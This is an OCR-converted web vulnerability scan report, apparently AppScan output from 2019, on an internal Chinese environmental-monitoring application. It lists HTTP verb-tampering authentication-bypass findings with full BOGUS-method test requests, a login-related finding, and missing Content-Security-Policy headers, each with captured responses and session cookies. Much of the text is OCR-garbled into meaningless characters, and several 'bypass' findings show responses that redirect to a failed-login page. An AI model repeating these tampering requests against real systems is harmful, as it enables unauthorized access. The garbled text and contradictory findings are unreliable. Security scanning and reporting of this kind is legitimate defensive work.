.messager-text{
width:200px;
}
.gr_login_sm fs{height:100px;width: 288px;margin:0Opx auto;text-align: center; }
.login_type_fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/1l m_title_info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ&%MBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_ Show" class="btnOpen" title=" BEMELE
i onClick="javascript:$('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net');
}):$("#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.
href="javascript:void(0) ;">

JEIF</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" K ATELR R
onClick="javascript:$('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function(){ $('#divFloatToolsView').hide();kf_setCookie ('RightFloatShown', 1, '', '/',
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'www.shopnc.net');
});$('#aFloatTools_Show') .attr('style', 'display:block');$('#aFloatTools Hide').attr('style', 'dis.
. href="javascript:void(0) ;">
W< /a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color: rgb(255, 255, 255); font-size:
18px; font-weight: bold; "> AR Ff<br><span style="font-size: 14dpx;">7*10/hif</span><br><span
style="font-size: 14px;">(08:30-18:30)</span></span></p>

i i Ik i

BRI R
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Authentication Bypass Using HTTP Verb Tampering

P
CVSS 7+#l: 64
URL: http://172.20.7.168:8083/amonline/app/psinfoadmin/psinfollistpsinfo.page
k- psinfollistPsInfo.page (Page)
R = Al RE TR PR BOREEIT Web IR 3R EUE VR T AL
AR Ok Web MR FIMBURIS S, WA 4. 565, PLE8 2 M/EBUR A S
JE - Web i HIFE e 4 i B iC B A 224
8 Configure your server to allow only required HTTP methods

Z5: ik WLLUTF B TER:  eer £: socus

#fEI:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

BOGUS /amOnline/app/psinfoadmin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest
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Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=ADF9992DA3BBCC57BO0CCCEY656047605; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " A SR STECEW, ERER

}

b 3 / 11

Authentication Bypass Using HTTP Verb Tampering
FEE -
Cvss /Hii: 6.4

URL: http://172.20.7.168:8083/amonline/app/abnormityadmin/abnormityaction!jsonlist.page
Sk abnormityActionljsonList.page (Page)
ARG - A RESTH AR ROEE I Web B2 7 3R EUE BV AT AL

ARSI ¢ Web AR /T IMBURIS S, W 4. B0, PLE8 2 M/EUR AL B
JEA - Web J82 FF% /5 4 2 B C B A 224
T8 5 L= Configure your server to allow only required HTTP methods

Z5: ik WL B TR eer #: socus

#fEI:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R o -

BOGUS /amOnline/app/abnormityadmin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

2019/6/24
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Set-Cookie: JSESSIONID=E7E60653BF8D705C623587E32B147739; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R I, W E R

}

4 / 11 TOC

Authentication Bypass Using HTTP Verb Tampering

FeEE

Cvss 7+#: 6.4

URL:
Jobk-

http://172.20.7.168:8083/amonline/app/psinfo/admin/psinfollistpsinfo.page
psinfollistPsInfo.page (Page)

A RE TR FARBUREIE Web S22 /7 3R EUE B VR AT AL
ARESWEEA X Web N IR FFUBURME S, WA 4. B0 HLas 4 A1/ sus oA B

Web 3 FHI 2 7 4 A BUAC B A % 42

: Configure your server to allow only required HTTP methods

Z5: ik NCUF AL E# TR T &: socus

HE®E-  The test result seems to indicate a vulnerability because the Test Response is identical to the

Original Response, indicating that the verb tampering was able to bypass the site authentication

a7 R A -

2019/6/24

BOGUS /amOnline/app/psinfo/admin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=776B36B759FD76D169B26F88B5675D05; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, HEH SR

}
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Authentication Bypass Using HTTP Verb Tampering
FEE -
Cvss /Hii: 6.4

URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/stopaction!findstopinfos.page
Sk stopAction!findStopInfos.page (Page)
JR: = Al RE ST PRI Web B2 3R EUE #LVF AT AL

AR WA ¢ Web AR /T IMBURIS S, WA 4. 5. PLE8 2 M/EUS A B
A - Web 82 FF% /5 4 2 B C B A 224
I8 5 L= Configure your server to allow only required HTTP methods

Z5: ik WL B TR eer #: socus

#fEI:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication
TR R A R =

7] /&t

2019/6/24

BOGUS /amOnline/app/monitorspotadmin/stopAction!findStopInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=D40BAFB8FC6A25D479E3172D9D1CI9BD5; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " B B Fa s iE O i, i e

}

6 / 11
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Authentication Bypass Using HTTP Verb Tampering
FEHEE-
Cvss 7H#i: 6.4

URL: http://172.20.7.168:8083/amonline/app/abnormity/admin/abnormityaction!jsonlist.page
Sz abnormityActionljsonList.page (Page)
ARG - A RESTHRH PR BRI Web B AR 7 3R BUE HEVT RTAL
A RES SRR X Web MAIRRFFOBURME B, W 4. Ba0. HLE 4 A/ e U A &
B Web [ F#E 7 4 i BAC B A 22 4
I e L Configure your server to allow only required HTTP methods
Z5: HiE NI EBTES: et B:  Bocus

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the

Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

7] /&l

2019/6/24

BOGUS /amOnline/app/abnormity/admin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:45 GMT

Set-Cookie: JSESSIONID=2A553F0C48C21AE3856B9E12679E1C5E; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

7 / 11 TOC
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Authentication Bypass Using HTTP Verb Tampering
FEHEE-
Cvss 7H#i: 6.4

URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - A RESTHRH PR BRI Web B AR 7 3R BUE HEVT RTAL

A RES SRR X Web MAIRRFFOBURME B, W 4. Ba0. HLE 4 A/ e U A &
B Web [ F#E 7 4 i BAC B A 22 4
I e L Configure your server to allow only required HTTP methods

Z5: ik WL EHTER: eer £: socus

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

BOGUS /amOnline/app/monitorspot/admin/stopAction!findStopInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=CC5E9D18F5D8CFE38E000E54A909BC55; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR
}
"1 H
HE 8 / 11 ToC
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Authentication Bypass Using HTTP Verb Tampering
FEHEE-
Cvss 7H#i: 6.4

URL: http://172.20.7.168:8083/amonline/app/onlinemonadmin/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)
ARG - A RESTHRH PR BRI Web B AR 7 3R BUE HEVT RTAL
A RES SRR X Web MAIRRFFOBURME B, W 4. Ba0. HLE 4 A/ e U A &
B Web [ F#E 7 4 i BAC B A 22 4
I e L Configure your server to allow only required HTTP methods

Z5: ik WL EHTER: eer £: socus

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

BOGUS /amOnline/app/onlinemonadmin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=4723728B2D537608FD00B0764632D019; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS
}
"1 H
e 9 / 11 TOC

2019/6/24



Authentication Bypass Using HTTP Verb Tampering
FEHEE-
Cvss 7H#i: 6.4

URL: http://172.20.7.168:8083/amonline/app/onlinemon/admin/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)
ARG - A RESTHRH PR BRI Web B AR 7 3R BUE HEVT RTAL
A RES SRR X Web MAIRRFFOBURME B, W 4. Ba0. HLE 4 A/ e U A &
B Web [ F#E 7 4 i BAC B A 22 4
I e L Configure your server to allow only required HTTP methods

Z5: ik WL EHTER: eer £: socus

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

BOGUS /amOnline/app/onlinemon/admin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=B33B55BEE21CD445D2B2AEC6240DB5F8; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS
}
"1 H
e 10 / 11 TOC
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Authentication Bypass Using HTTP Verb Tampering
FEHEE-
Cvss 7H#i: 6.4

URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - A RESTHRH PR BRI Web B AR 7 3R BUE HEVT RTAL

A RES SRR X Web MAIRRFFOBURME B, W 4. Ba0. HLE 4 A/ e U A &
B Web [ F#E 7 4 i BAC B A 22 4
I e L Configure your server to allow only required HTTP methods

Z5: ik WL EHTER: eer £: socus

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

BOGUS /amOnline/app/monitorspotadmin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=6A805D561AE32CFC1B911B9D0OB51CB4E; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR
}
"1 H
i 11/ 11 TOC
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Authentication Bypass Using HTTP Verb Tampering

T .
CVSS 4%: 6.4

URL:
otk
A=

http://172.20.7.168:8083/amonline/app/monitorspot/admin/spotaction!findacceptinfos.page
spotAction!findAcceptinfos.page (Page)

AR AT PRI Web 51T SIS VT A
AR SR 5 Web SIHIFRFFRIBURIE B, AP 2. 10, YL & R SURUR SO L B

Web N A% 7 4 1 SC B A % 4

: Configure your server to allow only required HTTP methods

5 ik WU ETEH: eer &:  Bocus

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the

Original Response, indicating that the verb tampering was able to bypass the site authentication

I R A i -

=5

7] 7t

2019/6/24

BOGUS /amOnline/app/monitorspot/admin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=EFC5872013ADA0D5D97C5D3BF89C4C71; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " AR G R il It W, 1 RS

}

ZURRREYN @
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P

Cvss 7+5t: 6.4

URL: http://172.20.7.168:8083/amonline/app/j_spring_security _check

Sz j_spring_security_check (Page)

ARG - A RE 2 B IR % 1 15 cookie, EAITRIREM TR EET T, MTfE B R % LLIZH P S &
BEARTEH P ICFUALIITHS

B Web [ F#E 7 4 i BAC B A 22 4

Il 5 - H R G B R TERRAAHE

5t

MR DRSS RTAR AR Sk, BUARIRE R 20D AR CHMD shr il il m . X

LRGN 1% CLAE A B T

a7 SR A -

2019/6/24

POST /amOnline/app/j_spring security check HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=4801DD573D4D329FBF176E117991946F
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Content-Length: 123

j_logintype=front_user&j_1t=2c9487286b79d3e4016b8767113el2ebs&]j_slt=&loginType=front&j_username=1.

HTTP/1.1 302 Found

Server: Apache-Coyote/1.1

Location: /amOnline/app/AppMain.page

Content-Length: 0

Date: Mon, 24 Jun 2019 02:53:27 GMT

Set-Cookie: JSESSIONID=898FFF2A3BE84AF807D06E6FBED6B74D; Path=/amOnline;

GET /amOnline/app/AppMain.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=AElE776BF33CD2F26A4429E80DCAFFAA
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

HttpOnly

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:27 GMT
x-ua-compatible: IE=edge,chrome=1

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1,
<title>H miflfig ffr BN MR SRMBIRE RS (Dkii) </title>
<link rel="stylesheet" href="/amOnline/static/layui/css/layui.css"
<style>
.layui-body{
left:0px;

maximum-scale=1">

media="all">
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}

.layui-side({
width:0px;

}

.layui-layout-admin .layui-body{
bottom: 0px;

}

</style>

</head>
<body class="layui-layout-body">
<div class="layui-layout layui-layout-admin">
<div class="layui-header layui-bg-blue">
<div class="layui-logo">H S5 Hi7 [ 3h I fE 5RAEWE E RS (ki) </div>
<t-- KX (ATEE layui O FIAKESHD  -->
<ul class="layui-nav layui-layout-right layui-bg-blue">
<li class="layui-nav-item layui-this"><a href="#"
onclick="loadIframe ('app/psinfo/psInfo!view.page') ">IA(EE4EY</a></1i>
<1li class="layui-nav-item" id="historyLine"><a href="#"
onclick="loadIframe ('app/onlinemon/onlineAction'history.page') ">¥EMiE</a></1i>

<1li class="layui-nav-item">
<a href="javascript:;">PpiiEH</a>
<dl class="layui-nav-child" id="xcdzhgl">
<dd><a href="#" onclick="loadIframe ('app/monitorspot/spotAction!list.page')">
AL </a></da>
<dd><a href="4"
onclick="loadIframe ('app/monitorspot/stopAction!list.page') ">{FEEH#</a></dd>
<!--<dd><a href="#"
onclick="loadIframe ('app/viewmonitor/monitorDataAction!list.page')">{5BHifk</a></dd> ==
</d1>
</1i>
<li class="layui-nav-item" id='reviseli'><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page")">HEIrid</a></1i>
<!-- <1i class="layui-nav-item" ><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page") ">¥#Etric</a></1i>
<1li class="layui-nav-item" ><a href="#"
onclick="loadIframe ('http://m.envsc.cn/WXIndexPSForQYD.aspx?
key=wPLFgACAKGA&pscode=140000000223&... ——>
<1li class="layui-nav-item">
<a href="javascript:;">
<img src="/amOnline/static/layui/images/ooopic 1509436490.png" class="layui-
nav-img">
TR
</a>
<dl class="layui-nav-child">
<dd><a href="#" onclick="loadIframe ('app/account/accountAction!list.page")">

i P < /a></dd>
<dd><a href="#" onclick="loadIframe ('app/loginfo/loginfoAction!list.page')">
#EHE</a></da>
<dd><a onclick="logoutSys ()" href="javascript:void(0);" >BH &R%i</a></dd>
</d1>
</1i>
</ul>
</div>

<div class="layui-body">

<iframe id="frame_ lgpblpww" src="/amOnline/app/psinfo/psInfo!view.page"
style='width:100%; margin-right:-15px!important;margin-bottom:-14px!important;
overflow-y:scroll; overflow-x:hidden;' > </iframe>
</div>

</div>
<script src="/amOnline/static/layui/layui.js" charset="utf-8"></script>

<o VER: WARAREREHI TR EIAM, FiR) s BT EESURIRAILE >

<script>

layui.use('element', function () {

var element = layui.element; //SHiffihover® R, “HEHEINRE, TEMKHielement Rt

/ /W50 SR

element.on ('nav (demo) ', function (elem) {

2019/6/24
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layer.msg(elem.text ());
1)
3

function changeFrameHeight () {
var ifm= document.getElementById("frame_lgpblpww");
ifm.height=
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Missing "Content-Security-Policy" header €D

1 / 17 TOC

Missing "Content-Security-Policy" header

g

CvVss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/applogin.page
Sk AppLogin.page (Page)
ARG - A RE SRR 5% Web MR P IOBURME B, W 4. Ba0. MLk A/ eREusoc A B
ATREL B PRI P 4L B BEHR S e RKSEERER
JEiH - Web 27 2B B A 24
5] = Config your server to use the "Content-Security-Policy" header
5

#E:  AppScan detected that the Content-Security-Policy response header is missing, which increases

exposure to various cross-site injection attacks

a7 R A -

2019/6/24

GET /amOnline/app/ApplLogin.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E5CI9D3AC69648D3DEA7BBD6FB7A8FAE2

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/j spring security logout

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:55:23 GMT

x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>H pilbyg 8fy A Z % HEMBHEE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>
<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
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<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = 'l1';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8768d90d1308"';
</script>

<script src="/amOnline/static/script/common.]js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<U-- TEZEM -
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<!-- FEH -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.gr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login_type_fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/1l_m title_info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ&K/kBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BEELE
AR onClick="javascript:$ ('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'},
'normal’', function () { $('#divFloatToolsView') .show();kf setCookie('RightFloatShown', 0, '', '/"',

'www.shopnc.net');
});$('#aFloatTools_Show') .attr('style', 'display:none');$('#aFloatTools Hide').attr('style', 'disp.
href="javascript:void (0) ;">

JEIF</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" KL= ]
onClick="javascript:$('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function () { $('#divFloatToolsView').hide();kf_ setCookie ('RightFloatShown', 1, '', '/',

'www.shopnc.net');
}):$('#aFloatTools_Show') .attr('style', 'display:block');$('#aFloatTools_Hide') .attr('style', 'dis.
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. href="javascript:void(0) ;">
ki< /a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color: rgb(255, 255, 255); font-size:
18px; font-weight: bold; "> AT ff<br><span style="font-size: 14px;">7*10/hif</span><br><span
style="font-size: 14px;">(08:30-18:30)</span></span></p>
</div>
</div>

<form name

2 [ 17

Missing "Content-Security-Policy" header

FeEE

CVSS 4p#i: 5.0

URL: http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page

k- abnormityAction!jsonList.page (Page)

ARG - AR AR X Web LR T IMBUR(E S, Wi 4. B, HLE & A/ s U B
A RE NI PR EEE IR & RS ERRS . RS EHBRER

A Web IR R B G B A 22 4

Il e A - Config your server to use the "Content-Security-Policy" header

#Z5: cookie CMIEREEZS:  57A6A5AESE37C43B017578F75A282932

28 CNERBRE:  2019-04-24
28 CHEREE:  2019-06-24

H#E®-  AppScan detected that the Content-Security-Policy response header is missing, which increases

exposure to various cross-site injection attacks

a7 R A -

2019/6/24

POST /amOnline/app/abnormity/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 97

search_alarmType=2&search_disposeType=1&pageNo=1ls&pageSize=15&showPageInfo=true&showPagelList=false
HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8

TOC
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Content-Length: 117
Date: Mon, 24 Jun 2019 03:54:05 GMT
Set-Cookie: JSESSIONID=ED83624FCE56CCDEB75A1D98B89F1EC6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " FH P 28 B A R

}

@ 3 /17

Missing "Content-Security-Policy" header
e -
CVSS ##i: 5.0

